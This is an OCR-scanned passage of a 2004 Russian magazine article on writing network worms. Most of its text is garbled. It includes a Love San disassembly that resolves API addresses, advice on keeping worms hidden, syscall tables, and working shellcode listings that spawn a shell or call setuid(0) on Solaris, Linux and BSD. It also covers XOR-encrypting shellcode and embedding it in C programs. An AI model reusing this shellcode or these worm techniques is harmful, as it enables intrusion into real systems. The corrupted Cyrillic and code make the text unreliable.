.data:00404743 add esi, ebp

.data:00404745 xor edi, edi ; EDI := 0
; cbpacmBaeM Qnar HanpaBleHUs

.data:00404747 cld

.data:00404748

; CODE XREF: kk get proc_adr+30.j

.data:00404748 loc_404748:

.data:00404748 XOor eax, eax ; EAX := 0

; 4YuTaeM oqepennoﬁ CHMBON MMeHM QyHKuMM

.data:0040474Aa lodsb

; BTO KOHel CTPOKM?

.data:0040474B cmp al, ah

; eCnu KOHEl, TO NpHraeM Ha KOHel
.data:0040474D jz  short loc_ 404756
; XemuupyeM mMs QYHKUMM HajeTy. .

.data:0040474F ror edi, ODh

; ..HakKamuueasi Xew-cymMMmy B perucrTpe EDI
.data:00404752 add edi, eax

.data: 00404754 jmp short loc 404748 ;
; CODE XREF: kk get proc_adr+29tj

.data:00404756 loc_404756:
; BTO Xell «Hameu» GyHKuumu?
.data: 00404756 cmp

; ecnu HeT, NPOAOMXUTE HepeGop
.data:00404752 jnz short loc 40473D

edi, [esptarg 0]

3Has UHAEKC LeNeBomn (MyHKLMM B TabnuMLE 3KCmopTa, Jer-
KO onpegenutb ee agpec. T0 MOXHO caenatb, Hanpumep,
Takum 06pasom:

JucTuer 17. $parMeHT uepBst Love San, OCYymWECTBISKUMA OKOH-
yaTejpHOe onpegenenue appeca API-QyHkuumu B namsaTu

; CMemeHue TabaMuB SKCHOOPTa OPAMHAIOB
.data:0040475C mov ebx, [edx+24h]
; anpec TaBuuuE OPAVHAJIOB

.data:0040475F add ebx, ebp

; IONy4YaeM MHAEKC B Tabiuue ampecos
.data:00404761 mov cx, [ebxtecx*2]
; CMelleHMe SKCINOPTHONM TabmMuE ampecoB
.data:00404765 mov ebx, [edx+1Ch]
; ajpec SKCHOPTHOM TaGauusl afpecos
.data:00404768 add ebx, ebp

; IHoNy4YaeM cMemeHue QYHKUMM IO MHAEKCY

.data:0040476A mov eax, [ebxtecx*4]
; momydaeM appec (ymxumm
.data:0040476D add eax, ebp

VYnactb, 4T00b1 OTXaTLCA

BoccraHoBneHve paboTocnoco6HOCTH YA3BUMOM NPOrpaMmbl
Mocre NepenosiHEHUs — 3TO He TOMbKO 3aM0r CKPbITHOCTM Mpo-
HWKHOBEHWSI, HO W ONpefeneHHbIA KYbTYPHbIA 3neMeHT. Bbl-
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MOSHWB CBOIO MUCCUIO, YEPBb HE [OMKEH BO3BpALLATh ynpas-
fleHne Nporpamme-HOCUTENIO, NMOCKOMbKY C BEPOSTHOCTbIO,
6N13KON K eanHULE, OHA HEMELNEHHO PYXHET, YTO BbI3OBET
cepbe3Hble NOJO3peHUs y agMuHUCTpaTopa.

Ecnn kaxgoe Hosoe TCP/IP-nogkntoveHne obpabaTbiBaeT-
CSl YAA3BMMOW NporpamMmon B OTLAENLHOM MOTOKE, TO BUPYCY 6Y-
[eT [oCTaTO4HO MPOCTO «NPUBUTL» CBOW MOTOK, Bbi3as API
yHkumo TerminateThread, vnu BONTN B 6ECKOHEYHBIN LMK
(Npasga, Npu 3TOM Ha OAHOMPOLIECCOPHbIX MaLLMHAX 3arpy3ka
LM moxeT Bodpactn o 100%, YTO TOXE OYEHb HEXOPOLLIO).

C 0OHONOTOYHBIMU NPUIOXKEHWUSIMU BCE HAMHOTO CITIOXHEE,
N YepBIO NPUXOAUTCA «BPYYHYIO» MPUBOAUTb UCKaXKEHHbIE
JaHHble B MUHUMANbHO paboToCNOCO6HbIN BM, NGO packpy-
uMBaTb CTEK, «BblHbIPUBAsA» B MATEPUHCKON (OYHKLMK, eLle
He 3aTPOHYTON UCKaXeHusaMu, N1bo xe nepefasaTb ynpas-
NeHVe Ha Kakyo-H16YOb AMCNETHepCKy0 OYHKLMIO, 3aHMMa-
IOLLIYHOCS PACChINKON COOOLLEHWA.

Bonee yHunBepcanbHbIX CNOCO60B A0 CUX NOP He npuay-
MaHO, HECMOTPS Ha TO, YTO HECKOMbKO MOCNedHUX neT aTa
TeMa HaxoUTCSl B UHTEHCUBHOW pa3paboTke.

Komnunsauus vepss

CornacHo npasunam 3TUKeTa KOMMbIOTEPHOrO aHaerpayHaa,
pa3paboTka BUPYCOB [OMKHA MPOUCXOANTL Ha A3blKe accem6-
nepa wmnu mMawmHHoro koga. Ecnum Bbl nonbitaetech UCMONb-
3oBatb Cu unm — ctpawHo ckasatb DELPHI — Bac nonpocty
He 6yOyT yBaxarb. Jly4lue Boo6LLE He nucaTb BUPYCOB, a ecnut
W nucatb, TO NO KpanHen Mepe fenatb 370 NPogecCMoHansHo.

Tem He MeHee, 3(h(HEeKTUBHOCTb COBPEMEHHBIX KOMMUIIS-
TOPOB TakoBa, YTO MO KayeCTBY CBOEN KOAOreHepaLun OHW
BMNJIOTHYIO NPUGNMXAIOTCS K accembnepy, v ecnu youTsb start-
up, TO Mbl NOSYYMM KOMNAKTHbLIN, SPPEKTUBHBIA, HArNAOHbIA
W Nerko otnaxueaemMbin Kof. MNporpeccuBHO HaCTPOEHHble
Xakepbl CTPEMATCH UCMONb30BaTh A3bIKU BbICOKOTO YPOBHS
Be3[ie, rae TONMbKO 3TO BO3MOXHO, a K accembnepy obpalla-
I0TCS TONBKO MO HEOO6XOAMMOCTM.

3 BCeEX KOMMOHEHTOB YepBs TONMbKO rofioBa TpebyeT He-
MOCPeACTBEHHOrO accemb/IepHOro BMeLLaTenbCTBa, a Teno
1 Ha4YMHKa YepBs 3amMevaTeNilbHO PeanmayTes U Ha CTapoM —
fo6pom Cw. [a, Takon NOAX0L4 HapyLUaeT nonyBeKoBble Tpa-
AMUmMK BUpyconucaTenbCTBa, HO JaBanTe He 6yaem LennaThb-
cs 3a Tpaguumm! Mup HenpepbIBHO MEHSIETCS, U Mbl MEHSIEM-
csl BMecTe ¢ HuM. Korga-To accembnep (a eLle paHbLle — ma-
LUMHHbIE KOZbl) 6bIIN HEN3BEXHOW HEOBXOAUMOCTBIO, Cenyac
)€ OHW CTaHOBATCA CBOEOOPA3HbIM Marmyeckum puTyarom,
OTCEKaIOLLMM OT CO3AaHWs «MPaBUIIbHbIX» BUPYCOB BCEX He-
MOCBSILLEHHBbIX.

KcTatun rosops, 06bl4HblE TPAHCNATOPLI accembnepa (Ta-
Kue, Hanpumep, kak TASM nnn MASM) ans komnunsumm ro-
noBbl YepBs He NpUrogHbl. OHWM HAMHOTO BAKXe CTOAT K A3bl-
Kam BbICOKOIO YPOBHS, Y4eM, COBCTBEHHO, K CAMOMY acceM-
6nepy. N3nuwHas caMopeaTenbHOCTb U MHTENNEKTYyanb-
HOCTb TpaHcnaTopa npu paspaboTke shell-koga TonbLKO Bpe-
ouT. Bo-nepsbiX, Mbl HE BUOMM, BO YTO TpaHCnMpyeTcs Ta
WNu nHaa accembnepHas MHEMOHUKA, U YTOObI y3HaTb, Npu-
CYTCTBYIOT 11 B HEW Hynu, NPUXOANTCS obpallaTtbes K cnpa-
BOYHMKY Mo komaHgam ot Intel/AMD wnu kaxzgbin pas Bbl-
MOSNHATb MOSHbIN UMK TpaHcnsumW. Bo-BTOpbIX, neranbHbIMK
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Peanu3auus cucTeMHbIX BbI3OBOB B pa3nuyHbix 0C
MexaHn3m cMCTEMHbIX BbI30OBOB — 3TO 3a[iHWA IBOP OrnepaLlyoHHOM CUCTEMBI UNK, ECAN YrOOHO, — ee BHYTPEHHSA 1 He Bceraa

XOPOLLIO AOKYMEHTUPOBaHHas KyXHs. BHYTpW YepBsi iaBatoT Kakme-To KOHCTaHTbl, KOMaHAbl, CIOXHbIM 06pa3oM MaHWUMynu-
pytoLLMe C pernctpamu, Ho U3NHECKUIA CMbICT MPOUCXOAALLErO B LIESIOM OCTAeTCs HESICHBIM.

Hwxe npuBoguTtcs Kpatkas cnpaBo4Has MHGopMauus o criocobax peanunsaumy CUCTEMHbIX BbI30BOB B padnnyHbix OC ¢
yKasaHueM Haubonee nonynspHbIX PyHKUWUIA, B NOSIHOA Mepe 06ecneynBaroLLmX XU3HeLeaTeNnbHOCTb YepBs (Matepuan nosa-
nmcTeoBaH 13 ctatb «UNIX Assembly Codes Development for Vulnerabilities lllustration Purposes» ot LSD Research Group,
KOTOPYIO 1 BCAYECKN PEKOMEHYI0 BCEM KOOOKOMATENAM M UCCeOoBaTensM KOMMbIOTEPHbIX BUPYCOB M YepBel B HaCTHOCTH).

Solaris/SPARC

CucTeMHbIV BbI3OB OCYLLECTBASIETCA Yepes JIOBYLLKY (trap), BO36YX4aeMyto crieLmanbHON MallMHHON komaHaom ta 8. Homep
CUCTEMHOrO BbI30BA NepefaeTcs Yepes peructp gi, a aprymeHTbl — Yepes pernctpsl 00, 01, 02, 03 1 04. lNepeyeHb HOMEPOB
Hanbornee ynoTpeobIigeMbiX CUCTEMHbIX PYHKLMIA NMPUBELEH HUXE.

JimcTuur 18. HoMepa cuCTeMHHX BHBOBOB B Solaris/SPARC

syscall $gl %00, %o0l, %02, %03, %04

exec 00Bh  --> path = "/bin/ksh", --> [-->a0 = path,0]

exec 00Bh  --> path = "/bin/ksh", --> [-->a0 = path, -->al= "-¢" -->a2 = cmd, 0]
setuid 017h wid =0

mkdir 050h --> path = "b..", mode = (each value is valid)

chroot 03Dh  --> path = "b..", "."

chdir 00Ch  --> path = ".."

ioctl 036h sfd, TI _GETPEERNAME = 5491h, --> [mlen = 54h, len = 54h, -->sadr = []]
so_socket OE6h AF INET=2, SOCK STREAM=2, prot=0, devpath=0, SOV_DEFAULT=1

bind 0E8h  sfd, --> sadr = [33h, 2, hi, lo, 0, O, 0O, 0], len=10h, SOV_SOCKSTREAM = 2
listen OE9h sfd, backlog = 5, vers = (not required in this syscall)

accept OEAh sfd, 0, 0, vers = (not required in this syscall)

fentl 03Eh  sfd, F DUP2FD = 0%, fd = 0, 1, 2

JimcTunr 19. JemoncTpaumoHmii npumep shell-kxoma mop Solaris/SPARC

char shellcode[]= /* 10*4+8 bytes */
"\x20\xbf\x££\xff" /* bn,a <shellcode-4> 2\ */
"\x20\xbf\xf£\x£f" /* bn,a <shellcode> ; +- TeKyumii yxasaTenb KOMaHm B %07 */
"\xTE\x££\xf£\x£f" /* call <shellcode+4> 8 */
"\x90\x03\xe0\x20" /* add %07,32,%00 ; B %00 yxasarens Ha /bin/ksh */
"\x92\x02\x20\x10" /* add %00,16,%01 ; B %0l ykasaTenb Ha CBOBORHY® NaMsITh */
"\xc0\x22\x20\x08" /* st %g0, [%00+8] ; craEuM BaBepmanuy Hone B /bin/ksh */
"\xd0\x22\x20\x10" /* st %00, [%00+16] ; BaHyJNsieM NMaMsATH NO ykasaTeno %0l */
"\xc0\x22\x20\x14" /* st %g0, [$00+20] ; the same */
"\x82\x10\x20\x0b" /* mov 0x0b,3%gl ; HOMEp CHUCTeMHOV GyHKuuM exec */
"\x91\xd0\x20\x08" /* ta 8 ; BHSHBaeM QYHKUMO exec */
"/bin/ksh";

Solaris/x86

CvcTeMHbIV BbI30B OCYLLECTBIAETCA Yepes L3 JansHero Bbi3oBa no agpecy 007:00000000 (cenekTop ceMb, CMELLEHWE
HOJb). HOMep cMCTEMHOrO BbI30BA NepedaeTcs Yepes perncTp eax, a apryMeHTbl — Yepes CTeK, MpUYeM camblii NIeBbIN apry-
MEHT 3aTasikupaetcs B CTek nocrnefHum. CTek oumllaeT cama Bbi3blBaeMasi PyHKLMS.

JimcTuur 20. HoMepa cMCTeMHHX BHB0BOB B Solaris/x86

syscall %eax  stack

exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, 0]

exec 0Bh ret, --> path = "/bin/ksh", --> [--> a0 = path, --> al = "-¢", --> a2 = cmd, 0]
setuid 17h ret, uid = 0

mkdir 50h ret, --> path = "b..", mode = (each value is valid)

chroot 3Dh ret, --> path = "b..","."

chdir 0Ch ret, --> path = ".."

ioctl 36h ret, sfd, TI _GETPEERNAME = 5491h, --> [mlen = 91h, len=91h, --> adr=[]]
so socket Eé6h ret, AF_INET=2,SOCK STREAM=2,prot=0,devpath=0,SOV DEFAULT=1

bind E8h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0,0,0,0],len=10h,SOV_SOCKSTREAM=2
listen E% ret, sfd, backlog = 5, vers = (not required in this syscall)

accept Eah ret, sfd, 0, 0, vers = (not required in this syscall)

fentl 3Eh ret, sfd, F_DUP2FD = 0%, £fd =0, 1, 2

JimcTunr 21. JleMOHCTpauuoHHEN npuMep shell-xoma nom Solaris/x86

char setuidcode[]= /* 7 bytes */

"\x33\xc0" /* xorl %eax,%eax ; EAX := 0 */

"\x50" /* pushl %eax ; BaTanKkyMBaeM B CTeK HYJIb */

"\xb0\x17" /* movb $0x17,%al ; HOMep cucTeMHOV OQyHkumm setuid */

"\xf£f\xd6" /* call *%esi ; setuid(0) */
Linux/x86

CvicTeMHbI BbI3OB OCYLLECTBIISIETCA Yepes3 NporpaMMHoe mpepbiBaHve no Bektopy 80h, Bo36yxaaeMoe MalUMHHOW UHCTPYK-
ument INT 80h. Homep crcTeMHOro BbI30Ba NeEpPefaeTcs Yepes PerncTp eax, a apryMeHTbl — Yepes peructpbl ebx, ecx u edx.
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JmcTuur 22. HoMepa CMCTEMHHX BHBOBOB B Linux/x86

syscall %eax %ebx, %ecx, %edx

exec OBh --> path = "/bin//sh", --> [--> a0
exec OBh --> path = "/bin//sh", --> [--> a0
setuid 17h uid = 0

mkdir 27h --> path = "b..", mode =

chroot 3Dh --> path = "b..", "."

chdir 0Ch --> path = ".."

socketcall 66h getpeername = 7, --> [sfd,

socketcall 66h socket = 1, --> [AF INET =

socketcall 66h bind = 2, --> [sfd, --> sadr =
socketcall 66h listen = 4, --> [sfd, backlog = 102]
socketcall 66h accept = 5, --> [sfd, 0, 0]

dup2 3Fh sfd, fd =2, 1, 0

JncruHr 23. JleMoHCTpaumoHHm npuMep shell-kogma

char setuidcode[]= /* 8 bytes */
1

nox Linux/x86

2, SOCK STREAM = 2,prot =
[FFh, 2, hi, 1o, 0, O,

oesonacHocTb

path, 0]

path, --> al = "-¢", --> a2 = cmd, 0]

0 (each value is valid)

--> sadr = [],--> [len=10h]]

0]
0, 0], len =10h]

"\x33\xc0" xorl %eax,%eax ; EAX := 0 */

"\x31\xdb" /* xorl %ebx,%ebx ; EBX := 0 */

"\xb0\x17" /* movb $0x17,%al ; HOMep cucTeMHOV OGyHkumm stuid */

"\xcd\x80" /* int $0x80 ; setuid(0) */
Free,Net,0penBSD/x86

OnepaumoHHble cuctembl cemenctea BSD peanusytoT rubpuiHbii MexaHM3M Bbi30Ba CUCTEMHbIX (DYHKLMIA: nogaepXmBas
kak far call Ha agpec 0007:00000000 (TonbkO HOMeEpa CUCTEMHbIX OYHKLMIA Apyrue), Tak 1 npepbiBaHune no sektopy 80h.

AprymeHTbl B 0601X criyyasx nepepatoTcs Yepes CTek.

JimcTuur 24. HoMepa CHCTEMHHX BH3OBOB B BSD/x86

syscall %eax  stack

execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = 0], 0

execve 3Bh ret, --> path = "//bin//sh", --> [--> a0 = path, --> al = "-¢", --> a2 = cmd, 0], O
setuid 17h ret, uid = 0

mkdir 88h ret, --> path = "b..", mode = (each value is valid)

chroot 3Dh ret, --> path = "b..", "."

chdir 0Ch ret, --> path=".."

getpeername 1Fh ret, sfd, --> sadr = [],--> [len = 10h]

socket 61h ret, AF_INET = 2, SOCK STREAM = 1, prot = 0

bind 68h ret, sfd, --> sadr = [FFh, 2, hi, lo, 0, 0, 0, 0], --> [10h]
listen 6Ah ret, sfd, backlog = 5

accept 1Eh ret, sfd, 0, 0

dup2 5Ah ret, sfd, fd =0, 1, 2

JmcTuur 25. JeMoHCTpauvoHHmit npumep shell-xoma mom BSD/x86

char shellcode[]= /* 23 bytes */

"\x31\xc0" /* xorl %eax,%eax ; EAX := 0 */
"\x50" /* pushl %eax ; BaTankuBaeM BaBepUAKUMi HONL B CTEK *x/
"\x68""//sh" /* pushl $0x68732f2f ; sarankuBaeM XBOCT CTPOKM B CTeK */
"\x68""/bin" /* pushl $0x6e69622f ; saTankMBaeM Havalo CTPOKM B CTEK *x/
"\x89\xe3" /* movl %esp,%ebx ; ycranaBnmBaeM EBX Ha BepumHy cTeka */
"\x50" /* pushl %eax ; BaTankuMBaeM HONb B CTEK */
"\x54" /* pushl %esp ; mepepaeM OYHKUMM yKasaTenb Ha HONb */
"\x53" /* pushl %ebx ; mepepmaeM Qymkuuu ykasarenr Ha /bin/sh *x/
"\x50" /* pushl %eax ; nepefaeM QyHKUMM HONB */
"\xb0\x3b" /* movb $0x3b,%al ; HOMEp CMCTEMHON QYHKUMM execve */
"\xcd\x80" /* int $0x80 ; execve("//bin//sh", "",0); *x/;

cpefcTBamu accembriepa Mbl He CMOXEM BbINONMHUTL HENoc-
pencteeHHbIi FAR CALL v 6ynemM BbIHY)XAeHb! 3afaBaTtb ero
yepes aupekTney DB. B-TpeTbux, ynpaBfieHne famnoM He
noaaepXvnBaeTcs B NpUHUMNE v npoueaypy wudposku shell-
KOfa NPUXOAUTCA BbINOSHATL CTOPOHHUMM yTunuTamu. lo-
3TOMY O4Y€eHb 4acTo AN pa3paboTKW ronoBbl YepBs UCTOMb-
3ytoT HEX-pefakTop co BCTPOEHHBIM acceMb1epoM W Kpun-
TOM, Hanpumep, HIEW nnn QVIEW. MalumHHbIA Ko Kaxpow
BBE[EHHOW acceMO6IEPHON MHCTPYKLUM FrEHEpUPYETCs B 3TOM
crnyyae cpasy, Y4To HasblBAeTCs, «Ha NeTy», U ecnu pesynb-
TaT TpaHCNAUMM Bac He YCTPauBaEeT, Bbl MOXETE, He OTXOAA
OT Kaccbl, MICnpoboBaTh HECKOMbKO Apyrux BapuaHTos. C apy-
rov CTOPOHbI, TAKOMY CNOCO6Y pas3paboTku NpucyLy LienbIi
psia Cepbe3HbIX HEQOCTATKOB.

HayHem c Toro, 4to HabuTbIn B HEX-pegakTtope MalLuH-
HbIA KOO MPaKTUYECKWN He NoAaaeTCs AalibHeALEMY pefakTyu-

Ned(17), anpenb 2004

poBaHuio. MNponyck 0gHON-eQUHCTBEHHOW MaLUMHHOW KOMaH-
Obl MOXET CTOMTb BaM HOYM BMYCTYIO NOTPAYEHHOro Tpyaa, —
Befb Ana ee BCTaBkM B cepenmHy shell-koga Bce nocnepyto-
LLME VHCTPYKLMM OOSMKHbI ObITb CMELLEHbI BHU3, @ COOTBET-
CTBYIOLLIME MM CMELLIEHUS 3aHOBO NepecymTaHsbl. MNpaeaa, Mox-
HO MOCTYMWTb M Tak: Ha MECTO OTCYTCTBYIOLLIEN KOMaHLb! BHE-
Apute JMP Ha KoHel shell-koga, nepeHecTy Tyga sateptoe JMP
cofepxumoe, fo6aBuUTb TpebyeMoe KONMHYECTBO MaLUMHHBIX
KoMaHg 1 elle ogHMM JMP BepHYTb ynpaBnieHne Ha npexHee
mecTo. OfHaKo Takon Noaxon YpesaT OLMOKaMU 1 K TOMY Xe
cthepa ero npMmeHeHus 6onee Y4em orpaHuyveHa (HeMHorme
NPOLIECCOpHbIe apxuTekTypbl nogaepxmeatot JMP Bnepeg, He
cofepxallei B CBOEM Tene NapasuTHbIX Hynen).

Kpome Toro, HIEW, kak 1 nogaenstoLlee 605bLLMHCTBO
apyrux HEX-pefaktopoB, He NO3BOMSET UCMOMb30BaTh KOM-
MeHTapum, 4To 3aTpyaHAET 1 3aMednseT npouecc nporpa-
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MUpOBaHUs. B oTCyTCTBME HArNAAHBIX CUMBOMMYECKUX UMEH
Bbl 6ygeTe [ONro BCMOMWHATbL, YTO HAMELHMW MOMOXWIW B
fyenky [EBP-69] n He umenocs nu B Buay 3geck [EBP-68]7?
JocTaTto4HO 04HOr0 HEBEPHOTO HAXATUS Ha KNaBuLLY, YTOObI
Ha BbIICHEHWE NMPUYNH HepaboTocnocobHocT shell-koga
ywen Becb geHb. (QVIEW — oguH 13 HemHorux HEX-penak-
TOPOB, NMO3BONAOLLMX MOMeHaTb acceMbepHble MHCTPYKLMUM
KOMMEHTapusMu, COXpaHseMbIMA B CrieumanbHom dhaiine).

lMoaTomy NpeanoHTUTENbHEE BCEro NOCTynaTh Tak: HabueaTb
HebonbLUme Kycku shell-koga B HIEW 1 TyT Xe nepeHocuTb UX B
TASM/MASM, npu HeobxoguMocTu npuberas K aupextvise DB,
a npuberaTb K Hel NPUAETCA JOCTATOYHO YacTo, MOCKOSbKY Mo-
fasnsioLlee 60MbLUMHCTBO acceMONEPHbIX U3BPaLLEHUA TOMb-
KO Yepe3 Hee POAMMYIO 1 MOTYT 6bITb BBEOEHSI.

Tunoon accembnepHbI LWabsioH shell-koga npueeneH HUXe:

JucTuer 26. TunoBoKM acceMGiepH: WaBNoH Ans cospjanus shell-
xoma, kxomnunsums: ml.exe /c "file name.asm", JMHKOBKA:
link.exe /VXD "file name.obj"

.386
.model flat
.code
start:
jmp short begin

get_eip:

pop esi
; shell-kopm
begin:

call get eip
end start

TpaHcnsauma shell-koga ocylecTBAseTca CTaHgapTHO U
npumennTenbHO K MASM KomMaHOHasi CTpOKa MOXET BbIrnNsi-
LeTb, Hanpumep, Tak: ml.exe /c «file name.asm». C nMHKOB-
KO BCE HAMHOrO CrnoxHee. LLITaTHble KOMNOHOBLUMKM TaKue,
Hanpumep, kak Microsoft Linker HaoTpe3 oTKaxyTcst TpaHc-
nuposaTtb shell-kod B OBOMYHLIA hainn 1 B nydlem cnyyae
CBapraHsT M3 Hero ctaHgaptHein PE, n3 kotopbin shell-kog
npuaeTcsa Bbipe3aTb pykamu. Micnonb3osaHnue kntoda /VXD cy-
LLEeCTBEHHO ynpoLLaeT Hally 3afady, T.K. BO-NepBbIX, Tenepb
NUHKep 6onblUe HEe MaTepuTCs Ha OTCYTCTBYIOLLMIA CTapTO-
BbIN KOO W He MOpbIBaeTCs BHEAPSATL ero B Leneson haiin
CaMoCTOATeNbHO, a, BO-BTOPbIX, Bbipe3aTth shell-kog u3 vxd-
¢harina HamHoro npote, 4em u3 PE. Mo ymonyaHuio B vxd-
thaine shell-kog pacnonaraetca HadmMHas ¢ agpeca 1000h n
NPOJOSHKAETCs 40 caMoro KoHua dparna. TovHee, npakTuyec-
KW O Camoro KOHUa — OfuH Unu ABa XBOCTOBbIX 6anTa MoryT
NPUCYTCTBOBATb MO COOBPAXEHNAM BblpaBHUBAHUSA, OOHAKO,
HaM OHW He MeLlatoT.

Tenepb NosyyYeHHbI OBOWYHBLIA (hainn Heo6XoanMo 3a-
LnchpoBaTh (ecnu, koHe4Ho, shell-kog copepxut B cebe Lumnd-
POBLUMK). Halle BCEro A 3TOro UCMOsb3yeTcs YXe YyrnoMs-
HyTbIn HIEW, pexe — BHeLWHWA WNGPOBLUMK, HA co3daHune
KOTOPOro 06bI4HO YXOAUT He 6onblle YeM OeCATOK MUHYT:

fopen/fread/for(a = FROM CRYPT; a < TO_CRYPT; .
at=sizeof (key)) buf[a] “= key;/fwrite

Mpu BCcex poctouHcTeax HIEW rnaBHbIN MUHYC ero wund-
POBLUMKA 3aK/loyaeTcs B TOM, YTO MONHOCTLIO aBTOMAaTU3U-
poBatb npouecc TpaHcnsaumm shell-koga B aTOM cnyyae oka-
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3bIBAETCA HEBO3MOXHO M MPY 4aCTbIX NEPEKOMMUAALMNAX He-
00X04MMOCTb pPy4HOM paboThl AaeT o cebe 3HaTb. TeM He
MEHee... NyyLle 3a 4ac JoneTeTb, YeM 3a NATb MUHYT pobe-
XaTb — NPOrpaMmMMpoBaTh BHELUHUIA LUMMPOBLLMK NoHavany
NEeHMBO, BOT BCE M NPEANoYUTaloT 3aHMmaTtbes KamacyTtpol
¢ HIEW, yem aBTOMaTU3MpOBaTh cepble 6YOHW YHbISbIX JOX-
LJIMBbIX OHEV OKPYXatoLLER XXU3HU.

3atem roToeblit shell-kon TemM UM MHLIM cnoco6om UMM-
NaHTMpyeTcs B OCHOBHOE TENO YepBs, Kak npaswuno, npes-
ctaensiowlee cobont Cu-nporpammy. Camoe npoctoe (HO He
camoe nysilee) — NogknouuTh shell-kop kKak 06bIKHOBEHHBIN
obj, 04HaKo 3TOT NyTb He cBOGOAEH OT Npobnem. YTobkl on-
pegenutb AnuHy shell-koga, notpebyrotes e ny6anyHble
METKM — B €ro Hadyane v KoHue. PazHOCTb MX CMeLLeHuiA U
[acT UCKOMOe 3HadeHue. Ho 3To eLLle YTo — nonpobyiTe-Ka ¢
pasbera 3almgpoBaTb obj-chann. B otnnume ot «4UcToro»
LBOMYHOro dhaiina, NpuBs3bIBaTLCS K (OMKCMPOBaHHbLIM CMe-
LLEHMAM 3[eCb HeNb3s, ¥ NPUXOANUTCA Npuberatb K aHanmay
CNYXebHbIX CTPYKTYP W 3arofoBKa, YTo Takxe He fobasnsert
9HTy3Ma3ma. HakoHel, HeTekcToBas npupopa obj-tannos
CYLLECTBEHHO 3aTpyaHseT Nyonukauuio 1 pacnpocTpaHeHne
NCXOOHbIX TEKCTOB YepBs. [103TOMY (@ MOXET 6bITb, NPOCTO B
cuny Tpagmumn) shell-kop YaLLe Bcero BHegpsieTcsa B nporpam-
MY HernocpefCTBEHHO Yepe3 CTPOKOBOW MaccuB, 61aro A3bIK
Cwv nopaepxmBaeT BO3MOXHOCTbL BBeAeHNs ntobbix HEX-cum-
BOJIOB, ECTECTBEHHO, 3@ UCKITIOYEHWEM HYNISI, T.K. NOCNEQHWA
CIY>XXUT CUMBOJIOM OKOHYaHWUs CTPOKM.

OTO MOXET BbIMNAQETb, HAaNPUMeEp, TaK (pa3ymeeTcsi, Ha-
6vBaTb hex-kofbl BPYYHYO COBEPLUEHHO HE06S3aTENBHO —
6bICTpeE HanmcaTb HECNOXHLIA KOHBEPTEP, KOTOPbIN BCE cae-
naeT 3a Bac):

Jncruur 27. lpumvep BkmoueHuss shell-koma B Cu-mporpammy

unsigned char x86 fbsd read[] =
"\x31\xc0\x6a\x00\x54\x50\x50\xb0\x03\xcd\x80\x83\xc4"
"\x0c\x££\x£ff\xed";

Tenepb NOroBopuM 06 YKPOLLEHUM KOMMUAATOPA U ONTH-
Mm3aumm nporpamm. Kak 3anpeTuTb KOMNUNATOpY BHeOpATb
start-up n RTL-kog? [1a 04eHb NPOCTO —0CTATOYHO HE 06bAB-
naTb QYHKLUMIO main, NPUHYAUTENbHO HaBs3aB JIMHKEPY HO-
BYIO TOYKY BXxofa nocpencteom kntoda /ENTRY.

MokaxeM 3TO Ha NpUMepe crneaytoLlen nporpaMmel;

JucTuHr 28. Knaccuueckuit BapMaHT, KOMIUIMPYEMHf OBHIYHEIM
cniocobomM: cl.exe /Ox file.c

#include <windows.h>

main()

{

MessageBox (0, "Sailor", "Hello", 0);

Byayun oTKOMNUNMPOBaHHOW C HACTPOMKaMM Mo ymosnya-
Huto, T.e. cl.exe /Ox »file name.c» oHa o6palyeT McrnonHse-
MbI (haiin, 3aHumatowmin 25 K6. He Tak yX 1 MHOro, HO He
ToponmTech ¢ BbiBogamm. Cenyac Bbl yBUANTE Takoe...

JincTurr 29. ONTMMUSMPOBAHHHI BapUaHT, KOMIOMIMDYEMH Tak:
cl.exe /c /Ox file.c, a numxyemsnt Tax: link.exe /ALIGN:32/
DRIVER/ENTRY:my main /SUBSYSTEM:console file.obj USER32.lib

#include <windows.h>

CHCTEMHBIaAMUHMCTPATOP



my main ()
{

MessageBox (0, "Sailor", "Hello", 0);
}

Cnerka M3MeHWB MMS TNaBHOW OYHKLMM MpPOrpammbl 1
nonobpas 605ee ONTUMasIbHbIE KMOHYM TPAHCAALMK, Mbl CO-
KpaTuM pasMep UCnosiHaemoro chavina o 864 6anT, npu4emM
60bLUYI0 ero YacTb 6yaeT 3aHumatb PE-3aronosok, taénu-
ua uMnopTa v NycToTbl, OCTABNEHHbIE OIS BblpaBHUBAHWS,
T.€. Ha peasibHOM MOMIHOBECHOM MPUNOXEHWUN, COCTOALLEM U3
COTEH, a TO M TbICAY CTPOK, pa3pbiB CTAHET eLle 6oree 3a-
METHbIM, HO 1 6€3 3TOr0 Mbl CXXann UCMOSHAEMBIV thaiin 60-
nee, 4em B Tpupuatb pas (!), npuyem 6e30 BCAKUX accemb-
NEPHBIX M3BPALLEHN.

Pasymeetcs, BmecTe ¢ RTL rmbHeT 1 nogcmucTema BBoga-
BbIBOAA, @, 3HA4UT, OONbLUMHCTBO (PYHKLMA N3 BUOINOTEKM
stdio ncnonb3oBatb He yaacTcs U NPULAETCH OrPaHWUYUTLCA
npenmyLecTseHHo API-pyHKUMAMM.

Nexomnunauus yepss

O6cyxpas pasnmyHble acnekTbl KOMIUIALMKA YepBS, Mbl pe-
Lwanu 3agady, ABurascb oT NpsMoro kK oépatHomy. Ho ctout
HaMm OrnsAHYTbCA Has3afd, Kak no3adn He OCTAHEeTCs HWUYero.
MprobpeTeHHbIE HAaBbIKM TPAHCALMM HYepBEN OKaXyTcs npak-
TUYECKU UMW NOMHOCTLIO 6ECNONesHbIMU Nepeq NMUoM UxX
aHanusa. JIoBKOCTb amn3accemMbiMpoBaHus Yepeei onvpaeT-
CA Ha pagd HeOYeBMOHbLIX TOHKOCTER, O HEKOTOPbLIX U3 KOTO-
PbIX A1 U X0y pacckasartb.

MepBoi 1 Hanbonee hyHOaMeHTanbHON NPO6IEMON SAB-
nseTcs NOUCK Tovku BxoAaa. Mogdasnsatoliee 60MbWNHCTBO
YyepBen, BbITOBIEHHbIX B XMBOW NpMpoae, [oX0asdT Ao Uccrne-
pjoaTtenei nnbo B BUAE famna namaTi NopaXeHHoM malum-
Hbl, IM60 B BMAEe OTPYONEHHOW ronosbl, NM60... B BUIOE UC-
XO[HOW Kofa, ony6nmKoBaHHOro B TOM UKW UHOM e-zin.

Kaszanoch 6bl, Hanu4me UCXo4HOro koga NnpocTo He OCTaB-
nAeT MecTa anasa Bonpocos. AH HeT! BoT nepen Hamu nexuT
